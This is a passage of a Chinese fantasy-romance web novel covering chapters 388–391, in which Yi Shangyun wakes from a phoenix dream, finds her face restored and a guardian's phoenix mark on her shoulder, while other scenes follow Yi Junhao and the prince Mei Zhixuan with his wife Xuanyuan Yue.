她想了想,似是亦有些不可思议地说:“我也是偶然在去百草堂的路上,听西秦皇城街市上的一个疯疯癫癫的老乞丐说的。他逢人便说,凤凰虚影降落的地方,那人必不是凡人,乃是受到了凤凰神力的庇护,是什么…凤凰认主,守护者现世什么的?起初,我还以为这只是一句疯疯癫癫的话,竟没想到,这世上还真的有凤凰虚影!” “凤凰认主?守护者现世?”闻此,易君浩在一旁嘴里暗自喃喃自语地念道。 忽地似是想起了什么,顿时眼前一亮,觉得不可思议极了,心里默默的道:“凤凰神力…守护者…难道是…西秦守护者?” 然稍一思量,却又立刻否决了自己的想法:“西秦守护者,又怎么会出现在北烈国草原上?” 正百思不得其解着,紫苏捧着一盏喷香的热茶朝其近身了过来,落坐下去将其一边递到他的面前,一边神秘的问:“三少有没有听过西秦国的那个有关于凤凰虚影的传闻?” “西秦国也有关于凤凰虚影的传闻?”易君浩一边伸手将茶盏接过,一边看着紫苏的眼睛惊诧的道。 紫苏道:“不只有,而且,三少不妨猜猜,西秦国的这个凤凰虚影的传闻,是跟谁有关?” “难道是…城西衣府?”易君浩探问。 紫苏一脸惊愕,笑着道:“三少果然是三少,一猜便中!西秦国的这个凤凰虚影的传闻,正是发生在城西衣府,而且…正是在那衣府大小姐衣上云的阁楼上。于她昏迷了一年之后,醒来的那个夜里。听说那晚夜空中雷电大作,暴雨滂沱……” 听了紫苏的一番如临其境的细述,白芷半张着嘴巴,瞪大了眼睛看着她那一张一合的嘴,显然已经惊呆了。 而易君浩一手愣愣的捧着茶盏,亦是甚觉惊奇至极。 这时,紫苏咬了咬嘴唇,心里似是犹豫了一下,开口又道:“如今,西秦国却是到处盛传,衣府大小姐打那时清醒后便性情大变,乃是被鬼怪附体,为妖人也……” 话未说完,只闻“砰”的一声,茶盏被易君浩大力的摔在了脚下,忽地起身来朝其驳然大怒道:“一群无知刁民,整日里惯爱到处传播这些损人不利己的谣言,竟敢如此诋毁丫头。” 见到主人咬牙切齿着,眼里溢出的尽是满满的怒火,紫苏忙站起身来劝慰道:“世人自是不会相信一个疯疯癫癫的乞丐的话,可世人们自己所传说的也未必就是真相。既然同样都是传言,那就只有‘清者自清,浊者自浊’了。三少不是自诩一直以来,自己最是了解衣姑娘的为人吗?那又何必在意这些人的看法,如此动怒呢?” “我……”易君浩惊看了她一眼,遂侧过身去气呼呼地道:“不管怎么样?我都不许任何人说丫头的半点不是。看来,这个西秦国,丫头的确是不能再呆下去了!” 紫苏听了稍一思索,惊道:“三少这话是什么意思?莫非,你是想此次找到衣姑娘后,带她远走高飞?那……” 遂又急急看了一眼身后一脸茫然不解的白芷,着急地道:“那我与白芷怎么办?三少难道不要我们了?” 易君浩双手负后着,静静望着眼前缓缓流动着的湖水,轻叹了口气,说:“‘天下没有不散的筵席’,即便是再美好的相聚,终也有别离的时候。百草谷和百草堂,以后就都交给你们了。” “不可以” “不可以” 岂料话音未落,俩名婢女便一起着急地异口同声道。 然易君浩隐忍着心底的淡淡忧伤,面上似是一点儿也不动声色。 “三少,你独自默默地为她做了这么多,值得吗?上次在寒荒山为了找腊月春,你差点没命了。这次,又千里迢迢来到这危险重重的战场上。下次,你还会为她做出什么样惊人的举动来?难道……”紫苏一脸忧郁地为其深感不值地说着。 忽顿了顿,心里犹豫了一下,黯然地道:“难道非她不可吗?你心里明明知道,她是那秦王轩辕翰所惦记的人,她是西秦子民。退一万步来说,她真的待你能如同你待她那般吗?还是…这根本就是三少从始至终的一厢情愿而已。” “紫苏,你说的我都懂。但是,你不懂!”默了半晌后,易君浩意味深长地道。 紫苏含泪苦笑了一声:“我不懂?我要是不懂,谁会陪你来这种地方。” 一时间里,三人俱都沉默了下来。 许久后,白芷撅着嘴巴可怜兮兮地问:“三少,我们真的回不去以前,在百草谷的那种只有我们三个人,无忧无虑的快活日子了吗?” 易君浩望向遥远的天边,不再说话…… 第三百八十八章:栖梧殿前现双生 北烈腹地。 一场突然而至的大雨过后,夜里的空气中到处弥漫着浓郁的青草香气。 欢腾了许久的草原,篝火燃尽后,亦都已恢复了往日的宁静。 夜空中,拨云见月,一缕白雾般的月光透过帐篷的窗口,柔柔地洒落在帐篷内犹如睡美人般的衣上云微微蹙起的眉尖。 午夜已过,她却依旧沉沉地昏睡着。面容上也仍然还是昏迷前的模样,与之并无半点不同。 此刻,拓跋宏正坐在她的床榻边,虽是静坐不动着,脑子里却是纷纷乱乱。 “怎么会这样?那位道长不是说,焕颜丹可保服丹之人容貌改变整整一百日,百日之期时辰一到,便会立刻恢复以前的模样吗?却为何至今依旧都毫无任何变化呢?” 盯視着衣上云的脸,一念至此,他忽地紧紧皱起眉来,伸出一手又仔细算了算日子,确定百日之期的期限是今日午夜时分没错。 侧头又默想了会儿,终是百思不得其解,忽一个质疑的念头从脑中掠过,遂忙回看向她的脸道:“不会是我遇到的那位道长,他记错时辰了吧?难道...尚还有些时日?” 就在这时,忽从帐篷外传来一阵侍卫催促的声音道:“二皇子殿下,是时候该启程了!” 拓跋宏这才被唤醒,目光微微一斜对着门口方向应了句:“知道了,这就来。” 转回视线,又最后一次悉心地为其把了遍脉,确定一切正常,深情地碎碎念了句:“乌乐,等我回来!”便起身隐忍着满腹恋恋不舍大步迈出了帐篷去。 沉沉暗夜,踏着淡淡的月色,兀自与侍卫一道翻身上马,直朝着北烈营地的方向驰骋而去。 帐篷内。 晕沉沉不分日夜而沉睡着的衣上云的梦里。 一片紫色的天空,低的仿若触手可及,举起天边那柔粉的云朵似是丝毫都不费力。 眼前一条晶莹的河流,蜿蜒至无尽的远方,水声潺潺,碧水连天。 河岸旁碧绿的青草地上,一棵安然挺立着的高大的梧桐树,其碧色的树冠郁郁葱葱,开满了紫粉色的花朵。 衣上云正身子轻若羽毛般,沉睡于这颗梧桐树下,身上洒满了厚厚的一层梧桐花。空气里,皆是弥漫着各种百花争艳的花香味。 周围的世界,到处烟雾缭绕,如同一层层轻纱般随风温柔地摇曳着。 远处,隐隐现出一片金碧辉煌的宫殿飞檐来。 头顶的梧桐树上,栖息着一只美轮美奂闪闪发光的七彩凤凰。那七彩凤的周围,到处皆都是一片鸟语花香。 空中盘旋着的百鸟正卖力地竞相争鸣着,似是俱都在朝这只无比高贵的七彩凤朝拜一般。 所有一切,皆都在一片七彩霞光的照射下如梦又如幻。 忽然,从那只七彩凤的身上闪现出一道刺眼的紫芒。 瞬间,只见那七彩凤竟幻化成了一个翩若惊鸿,又仿佛谪仙般身着一袭七彩纱衣,额前印有一凤凰花钿的气质尊贵的美貌女子。 女子笑吟吟的立在梧桐树下,端详了正在恬梦中的衣上云好一会儿,方才轻盈地缓缓迈步朝其近身了过去,在其耳边发出从未有人听闻过的温柔至极的声音来将她唤醒。 “孩子,醒醒,孩子……” 只见衣上云微微含笑着入梦的脸上,眼珠子咕噜咕噜转动了几下,随后一双凤眼终于缓缓睁开。 一见到面前这名美若天仙的女子,顿时愣住。 稍回过神来,起身惊诧地扫了眼周围恍若仙境一般的环境,连连惊问向女子。 “这里是什么地方?” “你是谁?” “我怎么会在这儿?” 女子伸出纤纤玉指笑指着远方的那片金碧辉煌的宫殿飞檐处,对其温柔地道:“那里便是栖梧殿。” “栖梧殿?”衣上云听了,显然一脸的不解,却又顾不得追问,着急地又道:“那你又是谁?” 女子依旧浅浅地笑着,伸手一挥,便随手从空中拈来了一把亮闪闪精致的镜子,玉手缓缓一个反转,便刚好照到了衣上云的脸上。 霎时,一道强光射来,衣上云本能地伸手交错于脸上将那刺眼的光芒挡在外面,却又好奇地缓缓一点点将其松开,试探着朝其手中的镜子里望去。 顿时,只见她瞪大了那双好看的凤眼,似是惊呆了,愣愣地道:“你是…我…我…是…你…我们……” 原来,那镜子里所照出的自己,不知何时竟已不再是服下焕颜丹后的那张脸,而是恢复了最初的自己的模样。 不,不对,此时镜中所照出的那张脸,已经没有了那块瘆人的红色胎记,而且比以前自己原本的那张脸的轮廓显得要更加精致,细腻光滑,更加有气质。 不仅如此,镜中的那张脸竟然与眼前的这名女子一模一样,就连其此时的衣妆,身形气质,即使那额头的凤凰花钿亦是俩人完全相同,如若双生。 “这…这到底是怎么回事?”衣上云收回视线一边打量着自己的全身,一边嘴唇颤颤地道。 就在她为此而吃惊不已,甚是纳闷不解的时候,那女子将手复又一挥,镜子立刻消失。 女子遂开口说道:“孩子,不要怕,我乃是你的母亲,名唤若曦。” 衣上云顿时复又抬头看向那女子,惊声道:“什么?若曦?你是我的母亲?我的母亲怎么会……” 显然,她的脑袋里似是顿时被什么东西轰了一下,炸的一片粉碎杂乱,已然无法再继续自己的思绪,默默地吞下了一口口水收敛了声音。 女子笑着对其点了点头,说:“我本已死,只因为你对这片大陆上的每个弱小的生命,始终都抱有一颗平等相待的善心去全力解救他们,无论是身还是心。最终承蒙天地所动容,方使得母亲死后的灵魂得以回到了这归处。孩子,谢谢你。” 衣上云依然听得云里雾里,简直不知其所云,然女子似是心里犹豫了一下,缓缓卸去了挂在脸上的笑意,轻叹了口气,再次开了口。 “十七年前,因为…因为母亲的错,在你刚出生的时候用换颜丹将你身上本与生俱来的那个守护者印记,便是那个凤凰印记,全都转移到了你的脸上,成了一块红色胎记。因此,而让你受了许多年的苦。也险些因自己的一己私心,亲手差点儿酿成了不可饶恕的大错。今日,母亲终于大彻大悟到,守护者终是守护者,这是上苍赋予我们的神圣使命,亦是我们于人世间存在过一场的真正意义。原来,我们每个人始终都无法摆脱命运的束缚,去做一个真正的自己。” 眼里闪烁着点点晶莹剔透的泪花,心疼地看着衣上云的脸,似是对她不能自主的命运的疼惜,又像是对自己凄凉的上一世最后的告别。 最后,她深深的吸了口气,隐忍下所有一切思绪,威严地道:“母亲这就恢复你的守护者身份,母亲上一世没能完成的使命,接下来就全都拜托你了!一定要守护好西秦天子。” “恢复我守护者身份?一定要守护好西秦天子?”闻此,衣上云忽地回神,忿忿地道:“可是那个西秦璟帝,他昏晕无道,残暴不仁,我……” “记住,守护者要守护的乃是西秦国的真命天子。想要知道其中一切真相,便要前往西秦皇宫里去探究。” 不容她再有任何分说,女子最后丢下了这句话,便一挥动衣袖,衣上云顿觉一个激灵,再次昏了过去。 女子复又再将手轻轻抬起缓缓一挥,衣上云便缓缓落下至方才最初所平躺着的那棵高大的参天梧桐树下。 女子缓步过去俯身将她的双肩轻轻抬起,眼睛一闭一睁,便将眼角所渗出的一滴格外晶莹的泪珠,落在了衣上云的脸上。 此时,她极尽温柔地含笑凝视着怀里那与自己一模一样的脸上禁闭的双眼,就仿佛是看着自己刚刚诞生下她来的时候,她还是自己怀中那个闭眼沉睡的女婴一般,眼里尽是满满的疼惜与喜悦。 终是没忍住,再次泪落颊畔。 许久后,俯身下去深深地落了一吻在她光洁的额头,继而将她的身子放下躺好,缓缓站起身来。 在人不经意间,她悄悄地复又化成了一只尊贵的七彩凤凰,展翅盘旋于高空之中,鸣叫了几声后,在百鸟的团团相拥下,一起朝着远处栖梧殿的方向飞去。 就在这时,帐篷里。 衣上云腕上的七彩金丝彩玉镯子上,渐渐抽出着一丝一缕的紫色光芒来,那一道道轻如薄烟般的紫芒源源不断地抽出,缓缓聚集成一团耀眼的巨芒。 忽然,那巨大的紫芒内不知有种什么神奇的力量,似是在用力地撕扯拉伸着,最后形成了一个凤凰虚影,其光影将衣上云的全身瞬间俱都照亮,那刺眼的芒,令人丝毫都不敢直视。 片刻后,似是形成这个凤凰虚影的紫芒的力量已经达到了极限,那凤凰虚影便忽地一下俯身冲入了衣上云的体内。 第三百八十九章:苏醒 床榻上,衣上云那已紧紧闭起许多个日日夜夜的眼睛忽然缓缓睁了开来。 仿佛因为某种机缘,灵魂似是出窍游历了另一个不为人知的神秘空间后,终于重新又回到了这副皮囊里,继续这原本才真正属于自己的时空经历一般。 只见她睁开眼后长长地舒了口气,缓了缓神便挣扎着想要坐起身来,这才发觉自己的身子好沉好沉。 “果然只是一场梦而已,这个身子明明就很沉很无力嘛!一点儿也没有梦中的那般轻松飘逸。”说着,便又无可奈何地躺了回去。 这时,方才那场好长好长的不可思议的梦境里的一幕幕,从脑海之中如滔滔江水般再次一层层翻涌了起来。 每个人的一生中,或多或少都会做过一些甚觉身临其境的梦。梦里的幻境,或苦或甜,或喜或悲,或得意或失意…… 然梦醒后,哪怕我们发觉泪水早已打湿了脸庞,亦或嘴角尚还挂着一抹浅笑,更有甚者会从梦中自己的笑声里惊醒,醒后却还依然不知为何而意犹未尽地笑着…… 然当我们真正想要知道自己究竟因何会如此悲伤或者喜悦时,方才梦里的那些人,那些故事,你又能记起多少? 然而,此时刚刚大梦了一场的衣上云,对她这个梦里所出现的人和所有一切,那个仙境,那些绝非世间所会拥有的神奇画面,却是格外地记忆犹新着。 “刚才的那个梦…是真的吗?难道…如太妃娘娘所言,我真的便是那个失踪了多年的西秦守护者后人?可在我的身上,并没有守护者后人俱都有的那个凤凰印记呀。刚才的那个翩若惊鸿的女子…她竟同我的长相一模一样,她真的是我的…母亲?!” 显然,她同样惊诧自己从未做过如此真实的一个梦。不知不觉中,竟呆呆地注视着头顶的幔帳情不自禁的又一次陷入对梦境的回忆之中。 愣愣地沉默了会儿,忽一回过神来却又立刻将自己天马行空的思绪否决掉:“嗯,这怎么可能呢?这一定只是个梦而已。” 一念至此,眼睛转而斜向了周围装饰豪华,舒适又宽敞明亮的帐篷内环境,只觉得这地方似是有几分眼熟,心下里一纳闷,弱弱地惊了一下道:“这里是……” 歇了这一会儿,感觉似是已经恢复了些力气,于是便再次尝试着吃力地拖起那沉重的身子缓缓坐起来。 这才看到,自己终于还是被人带回到了这个金丝鸟笼里关了起来。 一手撑在床上,对着除了自己以外空空的帐篷冷冷地笑了一声,挑眉自言自语地道:“来的时候早便已经说好的绝对的自由呢?这个人,果然是不可信的。” 摇摇头轻叹了口气,慢慢向后挪动着想要将软软的身子靠在一软枕上,岂料眼角余光竟忽然扫到了枕头边上竟然落着一块雕刻着一匹烈马的铜质兵符。 “这便是北烈国的兵符,北烈老国君竟然将如此重要的东西交给了他?!难道,他便是那老国君心中所属意的未来继承人?”衣上云顿时将其拾起端详了一瞬,惊讶地道。 想起自己昏迷时拓跋宏曾在自己耳边的轻声细语,遂淡淡地责备道:“这个大马虎,还真是对朝中之事一点儿也不上心,竟然将如此重要的东西落在这里。” 于是,她忙掏出一方丝帕来将其小心翼翼地包好收了起来。 遂又想起了在她昏迷的这些日子里,那个一直萦绕在自己耳边的男子温柔又饱含深情的声音来。 随之,一双秀眉渐渐蹙起,肃声喃喃道:“原来,你真正的身份竟是这片大草原上的二皇子,拓跋宏。难怪一直躲躲闪闪只在我面前说自己是这草原上的牧民之子。名唤作‘宏’,没有姓氏。我还在想,这个世上怎么会有人没有姓氏呢?尤其还是一个那般颇具高贵气质的男子。” 说着说着,她竟发出似是自嘲般的一阵苦笑来道:“哼,你终究还是欺骗了我。” 这些时日,衣上云尽管睁不开眼,然却对身边所发生的一切皆都清清楚楚地听着,感受着。 想起拓跋宏多日以来在她耳边所说的那些她根本就承受不起的情意绵绵的话,顿觉心乱如麻。 若是继续留在这里,她若不愿,拓跋宏自是不能强逼,可她又该何以自处?又怎么可能心安理得地承受他这么多心甘情愿的付出? 然一想到轩辕翰…… 胸间忽觉到一阵憋闷,似是都快要不能呼吸,伸出一手紧紧地攥住胸口道:“纵使我可以勇敢的面对一切,也不知该如何面对你的心意?若是再继续留在这里,我们俩个最终都会痛苦不堪。不知殿下为何竟忽然向北烈发起战争,看这气势,这次势必一定要将北烈国括入囊中了。” 思及此顿了顿,不知为何只觉得自己的肩抖得越来越厉害,手亦越攥越紧,她的心越来越沉:“无论此时脚下所踩着的这片土地,在不久的以后,究竟是仍然还属于北烈或是易主归了西秦,都不是我所能待的地方。天大地大,那我...我又该何去何从?这偌大的世界,竟没有一处能容得下我的一隅之地。” 一念至此,她隐忍着满腹悲哀与心酸,轻咬了咬嘴唇,最后深深地吸了口气,缓缓闭上了那双好看的凤眸来,想要努力使自己平静些许下来。 朝阳初升,帐篷外一碧万顷的广阔草原上,湖面水汽氤氲,金光点点,湖岸两旁尽是野花烂漫,水鸟起起落落,一切都是那般的充满了自由与惬意。 霎时,她忽地将眼睛重新睁了开来,似是从一片混沌之中已找到了通往清明的一条光亮大道,竟扬声有些兴奋起来。 “对,离开这里,我要离开这里。天大地大,相信总有属于我的地方。世界那么大,那么多人都能好好活着,难道我比别人差?我有手有脚,难道还会饿死?真是杞人忧天!” 一念至此,她顿时打起了十二分的精神忽地一把掀开了被子起身来。 刚下榻,却依稀听到从外面传来了一阵稀疏的脚步声,那脚步声越来越近。 她动作麻利地赶忙复又回去躺了下来乖乖将被子再次盖好,假装依旧沉睡不醒着。 没一会儿,便见果然是那伶俐的婢女早起进来伺候,正双手捧着一盆水踱步过来。 衣上云悄悄地半眯起一只眼睛来窥探了她一眼,又忙闭紧。 她对这个女子并不陌生,因为初到这片草原的时候,她便正是住在这顶帐篷里,亦是由这名婢女照料的。 那婢女迈着轻盈的步伐一绕过床榻边的屏风,放下了手里的水盆在榻边,刚一坐在榻沿上,正欲伸出手去帮其探测脉象。 却是顿时朝其脸庞瞪大了一双圆溜溜的眼睛愣了一下,继而又颇为惊诧地大声叫道:“姑娘…姑娘的脸……” “我的脸?”衣上云闻声,心里暗自一琢磨,这才想起今日是焕颜丹失去药效的第一日。 遂忽地睁开眼睛从榻上坐了起来,慌慌张张地伸手摸向自己的脸紧张地道:“我的脸,我的脸怎么了?” 婢女见其突然如诈尸般坐起,顿时被惊吓起身来一屁股重重地跌坐在地上,如同见鬼一般颤颤巍巍,惊恐不已地朝其愣愣道:“姑娘,你...你...你什么时候醒的?” 然衣上云却并没有回答她的话,只盯着她的眼睛兀自着急地追问:“我的脸到底怎么了?” “你的脸,对,你的脸……”婢女已然惊愕连连,说不出一句完整的话来。 情急之下,咽了一口口水忙起身来加急脚步从一旁拿来一面小铜镜照在了衣上云的脸上。 “我...焕颜丹...还魂丹...我...我真的恢复原来的容貌了!不但如此,而且原来那瘆人的红色胎记亦随之已不见!”衣上云语无伦次激动地说着,显然惊呆了。 朝着面前的铜镜里细细端详了许久,确定这不是自己的幻觉,煞是纳闷地怔看向那婢女问:“这到底是怎么回事?” 婢女嘴角扯了扯,笑着露出了满脸的一无所知。 就在衣上云尚还为此而深陷在思索当中时,婢女一边上前将铜镜递给衣上云,一边遗憾地道:“这可真是不巧啊!二皇子殿下前脚刚走,姑娘便就醒了。若是二皇子知道姑娘醒来,不仅恢复了容貌,而且比原来更加美了千百倍,相信他一定会很高兴的。” 说着说着忽一转头看向她,却见衣上云并没有听她讲话,而是自顾正在不停地抓挠着肩部的位置,婢女疑惑地问:“姑娘这是怎么了?” 衣上云亦是满脸疑惑,同样不解地道:“不知道为什么,醒来后总感觉肩处奇痒难忍!” 婢女想了想,似是忽然明白了过来,笑着说:“姑娘昏迷的这几日里,一直都是反反复复地高烧发汗着。二皇子殿下为此甚是忧心,着令奴婢务必小心伺候姑娘。想虽然每日奴婢也都替您擦洗过身子,可难免总会有不周到的地方。姑娘既然醒了,不如,奴婢这就伺候您沐浴更衣吧。舒舒服服地在热水里泡一泡,或许便就都好了。” “嗯,也好!”衣上云点了点头以示同意其提议,却依旧一边继续蹭着肩,一边下榻来准备沐浴…… 第三百九十章:凤凰印记终现身 金碧辉煌的温泉池边,四周到处拂动着轻纱缭绕的幔帐,温泉水面上烟雾弥漫,恍若身临仙境一般。 在婢女的服侍下,衣上云缓缓褪下了层层衣裙,最后披了件薄如蝉翼的粉嫩纱衣,微微颔首着踱步至温泉边上。 缓缓探出那如玉般的足尖来,轻轻撩拨试了试满是各色花瓣儿的温泉水温。 继而纱衣滑落,尽显出一副曼妙身姿来,轻轻地踏入坐了进去。 顿时,温热的泉水袭遍全身,让她觉到有种说不出的快意,情不自禁地发出一低沉的呻吟。 温液徐徐漫过其凝脂肌肤,柔荑似雪,点水掠身。 她深深地倒抽了口气闭起眼来,玉软香温的娇体如置云雾之中。 片刻后,那双绝世凤眸缓缓睁开,低头看向了水中自己的倒影。 那张熟悉而又陌生的姣好面孔,如今已然没了任何瑕疵,此刻只觉它在迅速变得红润起来。 轻纱拂动,浴影朦胧。 玉骨冰肌,兰汤潋滟,轻蘸细拭,一幕幕活色生香的旖旎画面。 不知过了多久,婢女双手捧着一木盘,上面放着一套浅蓝色如羊脂般软滑名贵的丝绸质地的华丽衣裙走了进来。 衣上云遂从池中缓缓立起,此时俨然如含苞初绽的蓓蕾般娇美可怜,芳气袭人。 一上岸来,婢女正欲替其擦拭掉身上残留的水渍更衣,却顿时惊诧地立在其身前怔望着她全裸的身体瞪大了眼睛,似是连话都说不出了。 衣上云一瞥见婢女朝自己所投来的怪异目光,顿时亦皱起眉来纳闷地追随其眼睛所向低眼下去,朝着自己此时一丝不挂的胸前那片美好春光看了过去。 这才忽地反应过来,顿抬起头怒瞪了那婢女一眼。 又一把从其手中扯过了一件纱衣在原地里转了一个完美的弧度,便刚好裹住了自己那美好的身体,遂朝其怒怪道:“你瞎看什么呢?” 婢女这才急急回过神来,上前一边帮其继续更衣,一边满脸不解地道:“咦,刚才奴婢替姑娘宽衣的时候,并未见到姑娘的身上有什么不妥之处。可这会儿,怎么姑娘的肩上忽然现出了个疤痕来?” “疤痕?什么疤痕?”衣上云似是这才后知后觉地明白了过来,原来刚才是自己错怪了这个婢女。可也同样好奇,不过就这一会儿沐浴的功夫,身上怎么就出了疤痕了? 这时,婢女挠了挠自己的脑袋,皱眉上前过去用指腹轻轻地在她的肩头蹭了两下,可那疤痕似是丝毫没有一点儿变化。 于是,她便又加了几分力道于指间,再次朝其蹭了蹭。 “嘶”衣上云顿时吃痛地倒抽了口气,发出一阵闷哼声来。 婢女立刻停下了手里的动作,一脸歉然地道:“对不起,对不起,奴婢不是故意的。可姑娘的这个疤痕,怎么看上去又不像是个疤痕,倒是更像个什么胎记一般的东西。奴婢都已经使了这么大的力了,竟也未能动其分毫。” 说着,便满腹狐疑的再次仔细朝其定睛看了看,忽然愣愣地道:“这...这胎记看起来好像是只...凤凰!” “凤凰?”衣上云闻声,霎时心情一片奇怪复杂。 因为胎记的位置比较隐蔽,自己用尽了全力,也只能依稀横见一点点肉粉色的痕迹,然却似是忽然间又想起了什么,嘴里喃喃着道:“难道是...是守护者的凤凰印记?” 回到帐篷里,在婢女的帮助下取了一面铜镜过来,俩人一起又仔仔细细地研究了许久,最后确定这正是一个如假包换的凤凰印记没错。 “难道...昨夜梦里所出现的一切竟都是真的?!”一时间,衣上云显然复又呆呆地陷入了对昨夜的那场不可思议的梦境的沉沉回忆当中。 那张有着与她一模一样的脸,自称是她母亲的人,说要恢复她守护者的身份?她说的难道就是她身上的这个凤凰印记?如此,便不就是说...她果然就是那个西秦守护者后人? 纷乱悠长的思绪顿时无限的蔓延开来,似是都快要将她淹没一般,只觉就连周围的空气仿佛亦都已经凝固。 不知何时,婢女竟也已经收拾好一切悄悄地退了下去,衣上云斜了一眼空荡荡的周围,重重的叹了口气,遂柔若无骨,木讷无力地倚在了榻边。 瞬间,梦中的那不知是由一只七彩凤凰所幻化成的与自己一模一样的女子,还是那女子所幻化成的七彩凤凰,仿佛又再次出现在她的面前,对其颇为郑重地叮嘱着:“母亲上一世所未能完成的使命,就全都拜托你了,守护好西秦天子……” 一只手轻抚在肩上的印记处想着想着,她似是极入神地低声自言自语起来。 “守护者守护的乃是西秦国的真命天子,去西秦皇宫里探究?” 忽然间,似是终于明白了什么,她倏的一下瞪大了一双好看的凤眼,顿觉震惊极了。 “难道...难道璟帝并非是西秦国的真命天子!如此,这可真是太不可思议了。” 然又很快浮起一抹迟疑:“可如果真命天子不是他,那又会是谁?” 默想了会儿,惊声道:“莫非是……” 似是都不敢再继续往下想去,随之一把紧紧地捂了自己的嘴巴,难以置信地只缓缓不住地摇起头来…… 而衣上云肩头所现出的这个美仑美奂的凤凰印记,此时,却正缓缓从一个人的笔头现了出来。 在这片大陆的东方,那富甲一方的东宁国皇宫里。 是夜。 一弯新月划过精致的角楼,给气势磅礴的宫墙内外俱都洒下了一片朦胧昏暗的微光,一切都显得是那样的神秘而又安静。 飞檐上的两条龙,活灵活现,似是欲要腾空飞去。 其中的一个院落里,如今得偿所愿,终于嫁给了自己所钟意的男人的轩辕玥。正一袭锦衣华服呆呆地伫立在这夜里,显得更加寂静的金碧辉煌的宫殿院落一角上,静静地遥望着对面梅志煊书房内尚还亮着的一片灯火。 许久后,深深地吐了口浊气,似是终于鼓足了勇气,与挑灯为其照亮的婢女锦兰一同迈步朝其走了过去。 书房内。 梅志煊刚刚收到了来自易君浩的一封密信,信的内容全都是对于衣上云的消息揣摩。 还有就是,现在他已经尾随轩辕翰的大军,秘密进入到了北烈国的境地。 看完密信后,两道剑眉深深蹙起,思量了片刻,缓缓起身来到烛火边,将信烧成了灰烬。 再转身回去,单手附后着立于书案边对着案上自己刚刚凭借着幼时的记忆,所描绘出的一幅嫡母后身上的那个凤凰印记图发起呆来,竟连有人进来都未察觉。 轩辕玥轻轻朝其走了过去,立在其身旁同看了那美仑美奂的凤凰图一眼,遂开口将其思绪打断,轻声地问:“殿下在想什么这么入神,竟连臣妾进来都未察觉?” 梅志煊顿回过神来,扭头朝她淡淡地笑了笑,却反问她:“夜都已经这么深了,你怎么还不睡?跑到这里来做什么?” 轩辕玥亦莞尔一笑看着他的脸,答道:“入夏了,臣妾有些睡不着,便让锦兰陪着出来四处走走。见殿下房里的灯至今都还亮着,便过来看看。” 说着,又将目光温柔地移到了案上的凤凰图上,伸手将其拾起一边仔细打量,一边赞叹道:“对了,殿下画的这幅凤凰图倒是栩栩如生呢!” 梅志煊亦立在其身后,同看向她手里的图画,一脸悠长地默默道:“是啊,这个凤凰印记虽是天下独一无二的好看,却恐怕也是这一生再也不会看到了!” “凤凰印记?”轩辕玥闻声,脸色突然一沉道,手下一抖,似是忽然想起了什么? 猛一抬头看向他的脸,却不想竟刚好撞上了那自己至今从未见过的一双满含温柔的眼眸。 而梅志煊亦是第一次对上了她此时所看向自己,便瞬间变得越来越含情脉脉的一双柔情似水的美目。 一时间,俩人就这样从未如此近距离地痴痴四目相对视在了一起。 大婚至今,俩人尚还从未有过这般暧昧的一刻。 却是忽地一起回过神来,眼神皆都霎时间各自又慌乱地躲闪着散去。 片刻后,轩辕玥收拾好情绪,依旧盯視着手里的凤凰图问:“不知殿下此话何意?殿下的意思是说,这幅凤凰图,它是一个印记?而且...这个凤凰印记,殿下曾经还亲眼见过?” 梅志煊轻叹了口气,悠长地道:“这个凤凰印记,本是在一名智慧与美貌皆是这天下无人所能及的女子身上,可是...她已经死了。” “这是...果真是出现在一女子身上的...凤凰印记?”轩辕玥听了,顿时朝其愣愣地惊呆了。 她心里暗暗地想起来母后曾对她所说过的西秦守护者,她们身上亦都有个与生俱来的凤凰印记。难道,当年的守护者后人竟流落到了东宁国? 就在其心中对此而甚感惊诧不已时,梅志煊忽地缓过神来,似是这才意识到了自己的失言,忙对其一脸歉然地解释道:“你不必多心,这个女子,她其实是……” 岂料话刚开口,却被轩辕玥将其打断…… 第三百九十一章:真的不后悔? 轩辕玥含笑着将其打断道:“殿下不必解释,臣妾相信殿下。” 梅志煊惊诧地呆看了她的眼睛一会儿,没想到自己一直对轩辕玥故作冰冰冷冷,置之不理,她竟还对自己如此信任。 不禁顿时心生出一抹浅浅的歉意,眼中却又夹杂着一抹心虚,沉声道:“对不起,大婚至今,一直都让你一人独守空房。只因为,我...我尚还没有准备好!” 闻此,轩辕玥忙附手上去将两根纤纤玉指轻轻堵在了他的唇瓣,柔声道:“‘对不起’这三个字,殿下这辈子都莫要与臣妾说。那夜,在四海茶庄里若不是因为殿下及时赶到救了臣妾,臣妾怕是早就……” 无数个日子以来,每每想起那件事,轩辕玥总觉得这一定是他们俩冥冥之中早已被上苍所注定的缘份。 他们的相遇,注定了并不单单只是一场余生只能拿来怀念的擦肩而过,而是彼此于这茫茫人海之中苦苦寻觅了许久,终于觅得的要一生相伴,相看两不厌的那个正确的人。 顿了一下,她反而对其甚为感激含情脉脉地说:“况且,殿下在即使都已经于大婚之前亲眼目睹了臣妾的丑事,然却并未因此而迁怒于我西秦,更未舍弃臣妾,臣妾心中对于殿下已是感激不尽,又何来怨言呢?” 梅志煊轻轻附手上去将她那只指若青葱的玉手握紧缓缓拿开,却没想到自己所触到的那只手竟是那般地柔软纤细,竟忽然有些贪婪地舍不得松开,愣愣地看着她温柔的眼睛惊讶地道:“原来,你早都已经知道了!” 轩辕玥亦是冷不防地第一次真真切切触到那只心心念念期盼了太久太久的强而有力的大手的温度,只觉得他好暖好暖,那种暖,可以瞬时间袭遍她的全身。 紧紧盯視着自己反而冰凉又紧张的一只手,此时就那样被他愣愣地握在胸前,似是隐隐还能感觉到他强烈的心跳,顿时现出一脸绯红,似是连自己的心跳忽然间都慢了一拍。 俩人就这样静静地站着四目相对了起来,屋内的气氛忽然变得从未有过的暧昧。一种从未有过的奇妙感觉,顿时随之在俩人的心中缓缓流淌。 忽地回过神来,轩辕玥淡淡地含笑着微微颔首下去,羞涩地将其从他那只骨节分明的大手中轻轻抽开。 兀自碎步走到书案边的那盏烛火旁,入迷地盯看着其所发出来的阵阵微光,说道:“殿下的眉眼,早就已经深深地刻印在了臣妾的心里。又怎会因为区区一条遮面巾的阻挡,便识不出殿下来?!” 梅志煊听了,心里的震惊与惭愧不禁又加重了几分,却又无奈地垂首下去看着案上的凤凰图发起呆来。 他到底该怎么办?该拿她怎么办?拿这份已然在一寸一寸的迷失自己,最终将吞噬掉他心智的旖旎之情怎么办? 他忽然似是都想不起来,眼前的这个女人到底是怎样一步一步来到自己身边,成为自己名义上的女人的。 他知道,一直都知道,他的心底里多多少少对她其实是有那么一点儿感觉的。可也正是因此,为了她好,却又不得不疏远她。 